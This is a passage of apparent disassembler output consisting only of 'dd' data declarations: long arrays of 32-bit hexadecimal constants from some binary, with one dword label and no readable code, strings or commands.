0DD88806Eh, 49FB555h, 0DEFE6CD3h, 7700B22Ah, 2E64B607h dd 60233E82h, 2B338005h, 5B2D00ADh, 431D2F0h, 0A800CA96h dd 6E831797h, 16EB7C8Bh, 5F7E52h, 0F2F72E92h, 371F349Ch dd 9E82AA47h, 0C1D3AE6Ch, 2C099870h, 5AC2C150h, 0BC4B3B99h dd 0CA58B000h, 3F5349E4h, 0D0DAD90Eh, 0CD7640FBh, 2EE22A2Fh dd 40B49731h, 0E72C6C82h, 6E012200h, 0C7D33627h, 0C0030097h dd 0C25619EBh, 9901300Ah, 0F46C8967h, 6BD91FE0h, 0D78F8468h dd 0F32EB081h, 7215209Dh, 2BD93Fh, 11066DE7h, 345FA3h dd 0CF32DDDh, 0F5FD737Ch, 4EF9E40Fh, 32974107h, 0C08AADB7h dd 80D4694Dh, 2C9A581Eh, 0F9134FA9h, 7B00718Bh, 0B79DFF67h dd 0AAD2056Ah, 82363B16h, 9C616D90h, 1702317h, 0AD02D886h dd 0CEFC6564h, 13D73F9h, 700FB1F0h, 61309379h, 20243880h dd 0F5962A87h, 70730F8Ch, 380973Eh, 11B126E9h, 6C2F4D00h dd 0C0B87B8Bh, 10AE2605h, 88D42673h, 0FC0AE873h, 84878C0Bh dd 88B37A0Ah, 11B0BF5Ah, 0AF9F27h, 0F9559AF4h, 7586DC3Ch dd 0DC41295Ah, 0F0345C36h, 9813EC77h, 4ACC9035h, 0B00B28B4h dd 98EAC279h, 24EC5D0Ch, 404C9738h, 0FD405EF5h, 0B68E5F00h dd 5AE57841h, 865901B7h, 0E1213AC1h, 0EA4C3089h, 8CAFA021h dd 0E4799AFCh, 7A0C6200h, 95CAD404h, 0A0BB00AEh, 788F6812h dd 0FB00DE3Fh, 5D3F63Ch, 4F1C24h, 0B5A4665h, 0E9F88A9Ah dd 0E0D19605h, 2CA20C97h, 0E61A0400h, 0BE4432A9h, 4CABF9C0h dd 0EF4337h, 9D46285Fh, 0F957CD0Bh, 11C9101h, 0EA31DA2Ah dd 4CE3A6FCh, 0AC809C41h, 7F606B9Ch, 2EFFCB02h, 40B740C0h dd 1F3EDE12h, 0CE5941F5h, 0C860626Ah, 0A9CC0951h, 0EC16B05h dd 0F680C706h, 29C6A76h, 0A50372Eh, 8090FB81h, 0D10E5CEAh dd 2048211Dh, 1A23EFACh dd 20840002h, 4ACDA089h, 32003678h, 312C4BF8h, 0F0705E4h dd 753780A1h, 63B43DA3h, 9B5A4F80h, 25786B0Eh, 4C6C6076h dd 922B62h, 486E04FAh, 0D4CFFE55h, 69E22F00h, 200E259Ah dd 16F0B0Bh, 40448224h, 0EB078300h, 0AE5C2BE4h, 0C4402DEh dd 112D245Bh, 0F8B3C48h, 78CE4313h, 0B62488h, 7D51090h dd 0CC336E8Eh, 0D79C6C24h, 0BC6F1B02h, 7278C923h, 0FC17FC39h dd 2DC42098h, 0DC048E40h, 0DB8201ADh, 6FD55280h, 90AB0005h dd 0FDE5C073h, 5700C310h, 6DDB756Ch, 70CD05Ah, 87030A3Bh dd 7E4E30A8h, 0AD0062A7h, 2BAF024Ch, 1E04F89Ah, 0C0D69546h dd 0B74B0CC1h, 9F1D2489h, 2064BA26h, 0F23AC000h, 0E098B68Fh dd 8039489Dh, 9EC2310h, 49A81C3Eh, 64724458h, 0C789CC00h dd 0EA076251h, 21302312h, 413EB44Fh, 9088ED32h, 732E66F0h dd 3B41094Dh, 1C683DFEh, 8E013A84h, 8987A50Dh, 907861B7h dd 0E1F56F80h, 0C506C3D5h, 0F4976B64h, 3D7F0B11h, 144E2418h dd 26CE2300h, 1B321604h, 3FF7013Dh, 0BA53376Dh, 9A087C21h dd 36059A8h, 22532A3Ah, 0A48B94Ch, 0F414A94Eh, 11253E0Bh dd 40705F90h, 6C39C0ECh, 69FB6708h, 28648758h, 19001445h dd 8B4E1F18h, 9983F83h, 382E8C14h, 0F0360C68h, 96244D12h dd 0F6A1D820h, 0F9743FC1h, 18501B09h, 22AF5780h, 4E72339Bh dd 80889C03h, 90286E23h, 1FB1FC2h, 0DB3BAFF3h, 9D333466h dd 60498311h, 14ECC84Eh, 1577E6Ch, 970378E0h, 0E0079B1Bh dd 4F7C2B55h, 0E702DCB0h, 67FA8E4Ah, 3980444Eh, 8F07613Dh dd 20B537FFh, 933495E5h, 0AC396499h, 682494B6h, 2987B806h dd 69E10071h, 0BEA8E7E2h, 13004FBCh, 61B20C8Ah, 16604A75h dd 0C749AE53h, 40E429C4h, 63A64600h, 0E0AA35F6h, 0EE430330h dd 0BCE46F73h, 0C5200BB2h, 15BAA0h, 20BD9994h, 8CE203DFh dd 0FD00AA70h, 0D4C64F0Eh, 131CEB92h, 13DD66A6h, 9628910Eh dd 0CCB850F8h, 1904BBE0h, 48CF3389h, 650300B2h, 0A2E26172h dd 9DC399C3h, 100163D3h, 8A6D8587h, 0CC40B89Bh, 588BBE88h dd 59000CFDh, 6B6F110Fh, 0E904283Dh, 3A8A146Ch, 0CC8010A8h dd 4745C3E7h, 0C000FF79h, 0AC64BBC1h, 0DA666Dh, 86EA7C41h dd 10E6E0D3h, 1305D690h, 0C2C8A5F1h, 1C306685h, 9A6B16Ah dd 0DE01A079h, 6793AC80h, 631FBEA5h, 624BE06Bh, 9554904Eh dd 0AD9E0082h, 2EFDED19h, 6C008A12h, 0CCD9F6Bh, 7DA54E18h dd 0B40934DDh, 0F9D4A058h, 875AA700h, 43C0E214h, 25700398h dd 0AE51A668h, 0C8C2E5BAh, 2000E466h, 63FB6214h, 0C2C401h dd 2BDF6CC7h, 6DB24657h, 8442300h, 1F9C4A8Dh, 51F03202h dd 4F20EC40h, 186F599h, 0D86907B7h, 0CCC430D5h, 7CA080B4h dd 3DE465D1h, 0CBC82148h, 30DC02B6h, 0C7A5200Ch, 0CE4D948Ah dd 9D361FC8h, 0D134740h, 0BE66D5Ch, 4E79F05Dh, 599348C8h dd 258A2607h, 0C6F067C0h, 0C53E0h, 0A6109605h, 0D047D1A4h dd 248CA31Dh, 0F99CCC40h, 1D3903E0h, 4B63E88Eh, 3C00594Fh dd 0BECAB46Fh, 0B2070804h, 0A9C08C89h, 90ABC1A7h, 5F4405E0h dd 816E2FC3h, 0D1D46008h, 4442DFBh, 40318A2h, 0DB5800ABh dd 0E63DB74Ch, 0E485CD2Eh, 38028A12h, 64349943h, 4564901Ch dd 0A7F89FECh, 0A4CCE8D7h, 0F00703FCh, 7EB6D141h, 0FB74C7A0h dd 69F96D09h, 117C194Bh, 2388C03Ch, 3DA6BB87h, 96884449h dd 2C625264h, 30486C44h, 34870428h, 2CB24D20h, 35E3960Bh dd 0B07EFC87h, 0ED0BA6BFh, 45BEE117h, 0E4B41488h, 0D0094DB9h dd 189A3211h, 5749B642h, 0C7F10048h, 4DC909C5h, 7A076ACAh dd 857C5F72h, 0E3DACE40h, 238C05C3h, 888F542Dh, 100246D4h dd 75A5ADEBh, 9588B28h, 82CF004Fh, 0F0357DBEh, 1199624Eh dd 9CE4428Fh, 5E93301h, 0A8AA0E2Dh, 73ECFF0h, 0E529506Eh dd 239AD11Eh, 2DD429D3h, 6E842042h, 98F32EF9h, 29752988h dd 551E3AA4h, 0A1CB828Dh, 8C54FCFEh, 0F350AE1Ch, 92C02858h dd 10A5C275h, 1933BF0Eh, 848EEBCDh, 16C54FB4h, 0B6DC4404h dd 0E2482C0h, 9EEE0059h, 2BFDC294h, 703E8306h, 693107F5h dd 26A07D2Ah, 0E4A83C54h, 0EF73011Ch, 0FC3497E1h, 1070A781h dd 0D1AEE8h, 7CC8CC07h, 70910159h, 194ACDB8h, 916E4088h dd 830287A4h, 0B623A11Fh, 0BEB8F742h, 7EF88B2Eh, 0D2A1E200h dd 9BFAF7ADh, 25800A04h, 40ECB450h, 97FF8C5Fh, 8E2D4005h dd 0F8A43A22h, 0FE8009FDh, 4C89DCD3h, 3880E459h, 5F496278h dd 90C800B9h, 0F18883FBh, 35160DE1h, 0C89F4DF8h, 6E183E03h dd 88B469F8h, 0B0048784h, 3CC8309Fh, 4EC06480h, 382EED32h dd 232586F4h, 4208251Ah, 240B4h, 870EA44Eh, 3AB41E99h dd 6570FD02h, 0E01DEA36h, 5B7E6B96h, 8E004175h, 25A6275Ch dd 3ECC119Ch, 8050786Ah, 21AF1A4Fh, 999B0FFCh, 0B6922536h dd 18491C98h, 0DC9CB5C0h, 7CCC5A3Bh, 0E3EB000Ch, 3F644C0h dd 3500EE75h, 86DC7F5h, 0A0D3AF29h, 14DE30C8h, 6C215048h dd 0CC9C8B2Fh, 9D621300h, 5FD8B5A3h, 82B700A6h, 0B3FAF1E5h dd 0DC0C8AC3h, 8E0DE5Ah, 0DC974CE3h, 56D8A963h, 7AA58EA8h dd 0D96D861Eh, 5375AB05h, 8A4008B5h, 1E98DC04h, 40883651h dd 0F7912FCFh, 7016F56Ah, 0B09042D9h, 0FB32BEh, 0E2D161B3h dd 62058089h, 4FB90A08h, 0B43E8A98h, 78243A0h, 0DCB1F02Ch dd 684314h, 39FC0C33h, 26B80BD2h, 0F21DA5Fh, 0A8E5573Bh dd 416832BAh, 925F090h, 0C07FA900h, 0D77973Dh, 2EB900C7h dd 0F90C07EAh, 9253BF71h, 9DCF009Ch, 0FC186722h, 704C5F66h dd 0C7A669CCh, 0F6B1E601h, 0C5C9B348h, 0ED477A80h, 0B969BB54h dd 65E0924Fh, 8ED800FDh, 0EFA0315h, 311D353Ah, 3C0306A7h dd 0CC322469h, 0D50144CAh, 88E0301Dh, 0D0A82472h, 6888034Ah dd 0D4FB5496h, 0BB3800BFh, 0C02E2AF6h, 0B5033332h, 84F8BEC7h dd 7021BA98h, 50491260h, 0DF843025h, 50919327h, 835D3304h dd 703DD200h, 2C004586h, 9050055Ch, 73A1CA8Ah, 3E58C2FAh dd 0F0E97F1Fh, 3E983D96h, 476006Bh, 0E0CD7268h, 7A51024Dh dd 0F1CEB465h, 0F385C377h, 8B7808D8h, 7191FAD7h, 55D2FD00h dd 0A169EED6h, 1495B872h, 7E2F0090h, 0DF363DCCh, 1EEEC90Fh dd 0E8B38202h, 0C51C23E3h, 909F40h, 5101C4C8h, 0D2009B3Ch dd 0D39F03BAh, 75E450B0h, 3AB8DBh, 0A858C871h, 0EC213B0Dh dd 400FE72h, 0F1AF473Eh, 2C5A7F0Fh, 0A415C8h, 13908459h dd 3A483DFDh, 0D4DD0501h, 3CB2E203h, 0CE22CD00h, 15472AD7h dd 271023Ch, 7EA9109Dh, 0A7BB601Bh, 80B09D50h, 2F2C41CCh dd 163E24ACh, 88D14D79h, 96112726h, 0B4B850F7h, 8900B9E3h dd 0CD706CA6h, 58485Fh, 0CE26E452h, 3BF68503h, 46933A01h dd 0C9F8D79Fh, 3F22F86Ch, 0F770FF00h, 0A622DCF4h, 0DBEF0579h dd 0C06D8F60h, 0FE7BB2ABh, 1AEBE203h, 58A6A227h, 2D0860B0h dd 42128DD3h, 0A46ED490h, 3BCFFEDFh, 610097A5h, 8B3AF0F7h dd 0AD27E4FDh, 86A422D4h, 6BE1203Bh, 14BE4E5Dh, 79151A80h dd 438A14Ch, 0BF2FE06Eh, 32509323h, 0A0E482F2h, 4B98A144h dd 0A4CCCC36h, 0E081884Ah, 4F2A7BBEh, 0C8008904h, 0CA8B3826h dd 0EEE790Bh, 13E025B0h, 85A034E4h, 0D399DB80h, 14407B6h dd 0E8809890h, 0F0124F43h, 277E1BBDh, 198CE453h, 0C998EC9h dd 27151C0Ch, 3E14CFB2h, 8B40F9h, 0C75D010Ch, 283FC36Bh dd 27A58702h, 0F0750D1Fh dword_53F858 dd 88D90E4Ch, 31856577h, 7BE0820Ah, 7097C56h, 851CA034h dd 7D8253D6h, 7DAA7AB5h, 0BC8F50C5h, 1A1E42CCh, 5A39E8E7h dd 1190A4h, 0A267E208h, 3865F882h, 6A724D13h, 8DE02401h dd 8607FA26h, 20A6D1C4h, 50F4C81Dh, 0A01B38C0h, 56DA60h dd 4020379Fh, 0E8F0147Bh, 0E10DDDE6h, 0D09A17ADh, 216C6C42h dd 713225C9h, 428442Bh, 4089F9E0h, 92047285h, 0AF162B6Ch dd 84A10A8h, 42521B1Ah, 0E32FBE9Bh, 0C13FB7E0h, 0F8549988h dd 80C863C6h, 810ACBF8h, 0BBD060B7h, 3D3065E3h, 666D009Ch dd 0A630A031h, 7F9F65Bh, 2358FA7h, 0CEC36007h, 7A26F893h dd 0FC00DEFBh, 2D03B65Bh, 5EE26h, 9A4D4F57h, 0D6AF736Bh dd 45C25500h, 0A5717BC9h, 0E1031658h, 0A4F05DCh, 6B8C0867h dd 2EAD562h, 647E203Eh, 22C8904Fh, 58E7B61h, 0E16420h dd 44CF2027h, 56246DC0h, 0A66F5E00h, 315F89E3h, 7AB70EC1h dd 11C403DFh, 0AB80EF7Bh, 3A3E8D4Bh, 905379CCh, 5F2EC722h dd 5540DC53h, 7303EA0Fh, 0E52001Fh, 0B0726CCCh, 2AB8EC0Ch dd 956A8D03h, 0F0BE5751h, 5B49FA5h, 9B3A2330h, 0A778CCB1h dd 6E0205F0h, 0BD19DFD0h, 7CCDE1C2h, 62CEFCF0h, 0FE68087Bh dd 4C0F5C41h, 89C0088Ch, 0F330B3CCh, 58986EA7h, 0F9DE3E71h dd 0B9F61203h, 142A8BCh, 80EA8131h, 3F1C3DD0h, 304F0C22h dd 24A36CBEh, 2C716AC0h, 40512726h, 0EC50C684h, 4A800D48h dd 11EE1F34h, 60A89C52h, 233F3013h, 0F6776A00h, 0C21998D6h dd 1B060248h, 7E6FF453h, 0D509A0F9h, 0BBA08463h, 67895F40h dd 26009B5Bh, 2444A35h, 14C4F00Dh, 0D07F1D79h, 86895849h dd 2B576002h, 94889060h, 6618219Fh, 1E02A9Eh, 633800FDh dd 0ABDEC83h, 8612B934h, 94CCF440h, 3E961DAFh, 0CCA2C0E7h dd 0BB70EC6h, 8C054003h, 0C2E5F750h, 4CB45E61h, 414CE00Ah dd 0B1D084FCh, 0B92AA480h, 0EAF30055h, 2963B888h, 0FC54D325h dd 74A343C4h, 578BF7C8h, 42073200h, 0BE5B231h, 0A6672490h dd 0C81B1088h, 99592D7h, 483D328h, 8CAD23B1h, 6788BCF4h dd 289C005Ch, 0F4E98E6h, 0E73B159Eh, 7584811Fh, 0FBDD6EBDh dd 1300407Dh, 0AC27A355h, 51EC1AB0h, 44687F00h, 45A87DBh dd 2AD42491h, 0CCFF1044h, 27E191C0h, 4CE80C97h, 6A09FE6Ch dd 2DD1794h, 299B6B50h, 80197410h, 0D1C3B207h, 0E2E02808h dd 0A0F7B4h, 4CCB8D1Eh, 0A967EC99h, 0FB435C91h, 0F01100A0h dd 8B2E5C51h, 0B6E4E12Fh, 0F8A44C91h, 23184C28h, 9831A2BEh dd 0D250A038h, 3B98C4E3h, 1AD4E06Ah, 0F998A444h, 9D8A1448h dd 1AFC0C80h, 28003DD3h, 7293A589h, 33C8381h, 1C570F05h dd 0C3C027D1h, 60FEE29h, 800E3A97h, 7769B42Dh, 64D905AEh dd 0B29FBE24h, 852E04D8h, 10C0E4B4h, 167231C4h, 8B20FBAh dd 10A5F1E8h, 3D70C8h, 0A26B7BD8h, 0B02DE169h, 0CC22A40Fh dd 56A942EEh, 0B2C44028h, 0B4B78010h, 20A04DF5h, 0F09CFBB2h dd 0A64B6181h, 0F0C75B86h, 0F7F1B7F0h, 4C2F3820h, 18B2C09Bh dd 0AE0C8719h, 0C2138D43h, 26308198h, 0D8C114BAh, 0D4C0E003h dd 21195E3Dh, 238BB650h, 0DE7905A4h, 508389E0h, 1521DC19h dd 4496020Ch, 0BDF4E8h, 0ECC67321h, 8D4348DFh, 9111E104h dd 0A4F89D1Eh, 26B4A280h, 2F0560D3h, 51F64E27h, 0A7309090h dd 0C08C948Eh, 0ACB5861Bh, 0F89A4E0Fh, 5830F250h, 7F4E9EAh dd 0B1CA32C8h, 0B83C80B4h, 0D900AF1Bh, 2BA5F611h, 271A504Fh dd 1082DCB7h, 0E4503161h, 3047F302h, 74272469h, 223447FCh dd 98899FD9h, 80EAA8F8h, 0B4204A81h, 0FC22F5B7h, 0C4C43096h dd 340095B7h, 4F05CEFAh, 7AB0E061h, 8575025Eh, 0E6261F31h dd 0B8E99604h, 2280C838h, 2B53E289h, 20F44F88h, 1D2D5D01h dd 3201F006h, 15D89BD5h, 0F3D216A8h, 74001B0h, 0EE56272Eh dd 985430E6h, 3371E7FCh, 0B0120514h, 0AF487C64h, 5D23810h dd 2823A352h, 0F040F0A2h, 108D42C9h, 985B0B65h, 3C0A327Ch dd 90A4C67Bh, 1D806427h, 0BF7627C7h, 0B0326294h, 246A38C3h dd 698EC8C9h, 87600498h, 7CB9957Ch, 6580A53Fh, 0A12F3328h dd 170096BAh, 9AE0527Ah, 277F82CBh, 782041E3h, 5F58CEC7h dd 0A6B75450h, 0A12A1701h, 756BF7BEh, 99C810EBh, 0ACC848Eh dd 0C9424E48h, 0FC3A0231h, 5594E82Bh, 0D92D00BAh, 4775CBB2h dd 0EC09C32Fh, 1CF61507h, 1C99DCh, 85455203h, 7C0F4E36h dd 20555BF6h, 8D976123h, 75A26A9h, 0E1321E88h, 44821808h dd 3BE741E9h, 847C5A7Bh, 0B022B058h, 8F4068B6h, 24151766h dd 22B1CE0h, 785AF57Bh, 0D002844h, 0DF84D067h, 0A151A22Fh dd 0FD120F38h, 0C4B64860h, 5CF182h, 7AF4EC4Dh, 0CC1807D8h dd 0C531C64Ah, 9624180Fh, 0CD7529EDh, 53B28E1Eh, 0C069A880h dd 91B3ADE3h, 84F1908Ch, 400802Dh, 15E4FA0Ch, 0CA36BCA0h dd 7432BE41h, 0BFE26B00h, 881B2A29h, 4CF00F00h, 0FE09ADD1h dd 0B7160223h, 73932574h, 8E12BC7Ah, 8888AB3Bh, 0C36900E8h dd 392B7BC1h, 961C6FFEh, 27E659A5h, 0D1521C01h, 1020E1BBh dd 0F34286A1h, 0B16C11h, 45EE24E1h, 198200Eh, 3A89E3C8h dd 8FCB567Bh, 2C0E1B8h, 6621504Dh, 0E021B59Ch, 0D1E631DDh dd 0A466DEBBh, 3DE3710Bh, 53A499B4h, 53A3840h, 0E93E005Dh dd 9BBAEE21h, 34BA6917h, 1A998721h, 30E031A2h, 9C003517h dd 0E226D2B1h, 5FE460Fh, 7EA653DDh, 2B943075h, 843B8B80h dd 4A1C06FDh, 9838365Ah, 771F1014h, 4CF457EDh, 886E217Ch dd 0BE918DD6h, 1FD83700h, 76FDAE3Dh, 23D55C00h, 8A17DA4h dd 0DC292D85h, 0FAC22C82h, 82130E01h, 806CA305h, 4B5D4CF1h dd 0CB4703E9h, 8BDAD598h, 4FEEB8C0h, 29F4E204h, 4CA773A9h dd 0DE00BA22h, 3DD6E5E1h, 44E301Dh, 0A5DF055h, 0CA8481BAh dd 880E0850h, 210A42D2h, 0E8DBCC6Bh, 8190110Bh, 9B4D7BE0h dd 9F24087Eh, 2FF92A81h, 0B6ED80B8h, 4C66AAECh, 3417C4F4h dd 0C97890C8h, 0A25331C3h, 8EC5109Ch, 97C3324h, 38B9F9E6h dd 0BB7B30E8h, 23DA9E00h, 6424104Ah, 5F970017h, 0D3F819ACh dd 8A09E1F3h, 0FAFBE285h, 59B61748h, 1A00BA93h, 79AA70A6h dd 757601D2h, 2E4E9F29h, 3B202465h, 92109B42h, 6A3E12EBh dd 54964892h, 0DD3D8068h, 0C7D070DFh, 2D7AB802h, 81917252h dd 0FC2C67E4h, 0EC7A3502h, 0DC904D5Ah, 1E5513EEh, 40ECDEDAh dd 5A7C73A0h, 2729AA6Fh, 302D880h, 0F63497E2h, 0DE8C42C4h dd 4F65C40h, 0C8A64114h, 916A21A0h, 27980AA7h, 23253CF9h dd 0B09F96F8h, 2D9D3C1Ah, 0E2E06BCBh, 24501CC8h, 645802B8h dd 3EA00F80h, 60E93AFDh, 5065504Ch, 0B695244Eh, 1C0670B4h dd 0C179CC16h, 0AEF8C31h, 54764512h, 0E020FC97h, 77079h dd 9BAE1E05h, 0DC15721Fh, 0A374195Ch, 0C8CA4FDh, 95A540EAh dd 0ABCD901Ch, 0A088DAh, 0B2A0A330h, 2C5EE0BEh, 0EDD979h dd 0DA953845h, 0D7132EDCh, 1437A7ADh, 6A1048A9h, 11D4B920h dd 0A96E2422h, 2300AD20h, 994A53D8h, 177C401Fh, 4125CC8h dd 0B9BB4798h, 666D2D44h, 7E40254h, 0FF355ADAh, 60621CE0h dd 8482549Ch, 0D9036C08h, 88B92E0h, 93626EC0h, 0C0085483h dd 5D86E026h, 9B1DE6F4h, 7DC2B2A2h, 740BBE24h, 0E464088h dd 0C4BC1679h, 52AC8240h, 0C9280A01h, 5AB4A58Fh, 0F041DD0Dh dd 730605A3h, 0EFBAA1Fh, 3F1B0059h, 0CA7AE521h, 32032DD1h dd 262473C7h, 0FF9FE851h dd 10C00A3Bh, 88C6CD3h, 5CAAB257h, 0A6714700h, 147436AAh dd 0DA900A3h, 7BABB002h, 510095E2h, 6B9A014Eh, 1ED496Fh dd 970D8021h, 7EA3BE89h, 0F4168853h, 0BC8030B2h, 245A3D8Eh dd 33CDCA00h, 0C66469ECh, 0ADE212F9h, 0DBF8C84Fh, 982DFC89h dd 0B1F0AC00h, 468D5514h, 0D4018212h, 0D62BE402h, 240E02FAh dd 0ACA8E812h, 5E0514C2h, 0F10192B4h, 858840BEh, 0D3C06848h dd 94485C8Ah, 0C3C05FCFh, 0C8E986Fh, 534E0CB8h, 2F3E9428h dd 10BBBB17h, 8F0771C8h, 49CB7D00h, 0E36E246Fh, 608B39BEh dd 0C612C058h, 0D1944597h, 1278CD47h, 24DEA1A8h, 11B12242h dd 9C02097Ah, 6E1C195Bh, 0C497CC49h, 8DE22730h, 0ECB2D810h dd 37513400h, 0A952C3BDh, 89F30211h, 9B593332h, 68F0145Ah dd 0B61B2388h, 0BCC85AFCh, 50901C72h, 88E2B700h, 0AA38FCA2h dd 214601EFh, 0EB4F04BEh, 8EF0E39Bh, 0D45C70CEh, 0C007774h dd 50A7765Dh, 0A041E122h, 0BC4F950h, 7C3A4072h, 69C5FD80h dd 6C5F8A4Ch, 780088h, 87BD21AFh, 0AB6BDD92h, 80D72F03h dd 0A05B9F28h, 7B716EBFh, 0D47A48E0h, 2D68B5CAh, 0E72B8CC4h dd 0F11F7C33h, 122C1925h, 25245F00h, 43963096h, 0FF3A6C90h dd 0ABF0382h, 11FE4002h, 67D57EF0h, 0F090A62Eh, 0C0302F51h dd 227F4255h, 6820E5DDh, 0FC29204Bh, 0F02722h, 6C89E0D2h dd 74D57AAh, 69E1A700h, 0A25DE80h, 9F0E0573h, 0CC78BE96h dd 394B97F8h, 2B4FF4D1h, 612AC86Ch, 4CF0453Ch, 0EAF6B2D0h dd 92A8F800h, 6529A39Dh, 51EC139Bh, 0A70D006h, 9875BF5Ah dd 26EBF909h, 0BAF88409h, 4C487858h, 936A853Fh, 0A83984ADh dd 18E0206Bh, 2A0A5FF8h, 0D845213Eh, 1052213Bh, 0A2D38481h dd 0F7319844h, 447710B0h, 0A5227058h, 6B83D800h, 7262FD39h dd 0CFDE1F6Ah, 0EF6401Bh, 0F4250757h, 0C2E3A806h, 5C68E58Dh dd 0E80F7C36h, 0B52A6B2h, 0F09AC104h, 0F750F054h, 0AF350FDCh dd 0FC0A629h, 0E073BECDh, 0D8D7BB0Ah, 5910F403h, 0FBC2D1C8h dd 4BC60B9h, 0E43D58FEh, 3064D8C4h, 0D0C124h, 0B975AB41h dd 67B05DE7h, 10F3F902h, 0A46579C5h, 0B845F530h, 2ACB287h dd 18B6959h, 0B7F868BCh, 609882B1h, 0DCE01F25h, 0A51D4138h dd 13041685h, 0E7BC253Eh, 2E7000Ch, 6B85A19Ch, 0C94508Bh dd 301D022Eh, 0AD82E249h, 0C713C41h, 0F50B4469h, 5008A088h dd 71E19B36h, 953E0003h, 0EE30DAA6h, 33E48A0Ch, 0C1E61F12h dd 4F275CBCh, 388484CAh, 3C74880Eh, 7E1FA9F2h, 642DE3AFh dd 7D1E1750h, 53DC3044h, 95508B84h, 5E020358h, 1BAA0F45h dd 0B46444h, 49384D56h, 0D2ABFCB3h, 7433BE12h, 8DFDA444h dd 0ECB1D722h, 5E0C7853h, 39ECCC8h, 309D174Bh, 80E109A1h dd 0F45DECCAh, 0E088BA00h, 2DD93229h, 2F1000Bh, 62F9F724h dd 0A5000F71h, 765E03Bh, 997BADD6h, 923190F4h, 898F30ACh dd 0D3E775C0h, 0DA00DBF7h, 0EFE36C05h, 0FA65E41h, 0E5B85C23h dd 3D6B6E40h, 109D7670h, 0EE4148h, 18A0B540h, 597C3CDCh dd 90DA302h, 49672762h, 0D02D93B4h, 1020F82Dh, 2902FF38h dd 0F1AB1300h, 2EBB5941h, 448B1C31h, 0C0569F0Bh, 6DD394D0h dd 0B9C53224h, 0A0A8C181h, 244E1049h, 0A01086B0h, 0B020265Ch dd 0BAD602h, 0C36CED27h, 0D01B9168h, 56056BFAh, 17AA509Dh dd 0A686D044h, 191214EDh, 0E0B60Bh, 9287A66h, 69D725h dd 7826DF07h, 38918A1Fh, 2DC7CF38h, 384429h, 0EA2A0C7Ah dd 0FB9825A0h, 2497F4A0h, 0B5339980h, 7AD2A820h, 4C260B75h dd 0FE405811h, 4BD96CDh, 0AAB6C15Fh, 8CE4D567h, 0D1129838h dd 34E5193Dh, 0D688306Fh, 9900A93Ah, 0E96B2A13h, 3DDBAD3Bh dd 4F8FC4CDh, 0F0F9CB42h, 224823F5h, 2B8640C0h, 5C002947h dd 560D73CCh, 3E4C12A5h, 0AA9C01E4h, 72A9FD9Ah, 9885B439h dd 849C25FFh, 0CC49804h, 4F2FDF88h, 6BCC21FEh, 6A884883h dd 0DDC1E401h, 0FBA584B3h, 0C6002472h, 9D463B55h, 8307E482h dd 40330D5Fh, 0C434C8DDh, 0CA8044A7h, 6A4A1B09h, 2CF4C437h dd 0E0600B6Dh, 7EAA3D8Fh, 10EA4200h, 0E24DDDDBh, 31D40259h dd 51F2DA1Fh, 3E8054D9h, 1CDCD7EAh, 1293D7Eh, 4CE70580h dd 9DFE9E60h, 8C191A04h, 0ECA486BEh, 8700B4F9h, 0F12EADBFh dd 0C0A96A15h, 0DD12A450h, 54A8CFE3h, 82FAA18h, 872CBE88h dd 9C68CCA7h, 0B28BD860h, 176C9C4Ch, 3CE42D1Fh, 6C318038h dd 52ABFDDCh, 86889432h, 12042389h, 0F9DC04CCh, 8AC4A825h dd 0FA50A41Ch, 28309D0Ah, 0DE0037E3h, 0B1A3C245h, 0DDFF67h dd 3A0BA28Eh, 579BA5EBh, 0F0B6F52Ah, 62387F00h, 795D4899h dd 373027B4h, 0E020C88Dh, 312FD977h, 7CC40A4Eh, 0FBDE7861h dd 97091C3Dh, 0B880ECE6h, 917E3B85h, 2A7263Eh, 2FE10BE3h dd 440CE656h, 0D0B849BCh, 4EC32A22h, 15C904Eh, 0A300F16Ah dd 3B27797Eh, 0DFFB86h, 9C4BD0CAh, 0E46B130Ch, 0CC8E9409h dd 5BBC444Ah, 19348C0Fh, 2D5C4D0Bh, 25C9FE74h, 2ED92C11h dd 2BCB838h, 5889B46Ah, 8C41C67Ah, 0E55C520Ah, 8006FD22h dd 0ADC4B47Ch, 8F82000Fh, 74C2CA6Ah, 2F1937ECh, 0B2E05A9Dh dd 0B758003Ah, 4EA8BB5h, 31323F00h, 216E45E6h, 419700F5h dd 0F39D4C6Ah, 0D12FCA0h, 3C09D1FFh, 72241235h, 1EDA00B4h dd 0DF0B48BBh, 9000BCBEh, 0FCF82677h, 4C7C69C7h, 0F92128CCh dd 90C0188h, 407A535Fh, 6ECF3A0Eh, 47F84115h, 0DADCFFEAh dd 6AECE0h, 7D518B1Eh, 727A8FE9h, 0AABDE10Bh, 0F887A40h dd 31ED4C30h, 0C1B29BC0h, 0A02E524Eh, 0E3845089h, 0BE08FC2Dh dd 0DB700C80h, 742EABCh, 32AF82D4h, 74C8018h, 3300F839h dd 1A7C61B9h, 69C2C6h, 0D4E1EA72h, 605C458Ch, 6D8EC409h dd 90C10BEBh, 0E73E10h, 0B08BA2D4h, 732DAAFh, 0A1D10402h dd 0D90579C4h, 0B32512A8h, 0B02717FCh, 80B2A048h, 508E8C3Bh dd 70B4ABC7h, 79CC3240h, 0F224A811h, 1CF9820Ah, 14FF2A1Dh dd 10F49C92h, 8216E662h, 0E01028A9h, 0E443C009h, 0C8F13Fh dd 3EE36988h, 88A0951Dh, 560790A9h, 45AF2A91h, 64889424h dd 9F6E001Eh, 58C6C4DDh, 0E30BD208h, 440231C3h, 31F74F4Ch dd 1EC4AE0h, 382F173Eh, 8D44AE88h, 4B425BEFh, 588484B4h dd 83FC806Bh, 941E7445h, 89C0D4A6h, 1F51F3BAh, 74A097DCh dd 853903D9h, 2C48A45Ch, 440910E7h, 4C44D09Bh, 5180EC94h dd 26B8AFF0h, 5A01D57Ah, 15973CD7h, 83E23DD3h, 4A65F44h dd 98993BD9h, 8ECB04B1h, 273A121Eh, 0F41CC4F4h, 6C018B98h dd 0C7ADD2FEh, 92035BBh, 37B8014Dh, 8AE4F380h, 4058A56Dh dd 20E84218h, 1A20F8AFh, 0C8B75F0Bh, 0CE00B174h, 0CFC6D954h dd 0B0ED8E18h, 0C9BD285Ch, 3FC50AB4h, 4080FEAEh, 0B05D0D46h dd 908D0925h, 3FC7922Ch, 2700D775h, 13215A8Bh, 930919E8h dd 0C6820191h, 18620384h, 0A2F6D54Bh, 25BF9200h, 6BB4B66Ah dd 4AC40765h, 0D0A1CE02h, 80DDBAC1h, 0BB449095h, 10D7C3Ch dd 0AF24928Ch, 81544DA5h, 31C498F9h, 1024CFAEh, 95017C2Dh dd 0A800A86Ch, 0E92CDA68h, 4454D0h, 2D49D779h, 0ADE4527Bh dd 